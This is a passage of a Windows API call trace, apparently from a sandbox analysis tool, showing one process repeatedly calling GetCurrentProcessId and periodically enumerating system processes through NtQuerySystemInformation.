GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.966] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.967] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0242.968] GetCurrentProcessId () returned 0xbf4 [0243.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.137] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.138] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.139] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.140] GetCurrentProcessId () returned 0xbf4 [0244.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0244.815] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.816] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.817] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.818] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.819] GetCurrentProcessId () returned 0xbf4 [0244.820] GetCurrentProcessId () returned 0xbf4 [0244.820] GetCurrentProcessId () returned 0xbf4 [0244.820] GetCurrentProcessId () returned 0xbf4 [0244.820] GetCurrentProcessId () returned 0xbf4 [0245.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cae0) returned 0x0 [0245.483] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.484] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.485] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.486] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.487] GetCurrentProcessId () returned 0xbf4 [0245.488] GetCurrentProcessId () returned 0xbf4 [0246.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.140] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.141] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.142] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.143] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.144] GetCurrentProcessId () returned 0xbf4 [0246.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x122892c0, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x122892c0, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.828] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.829] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId 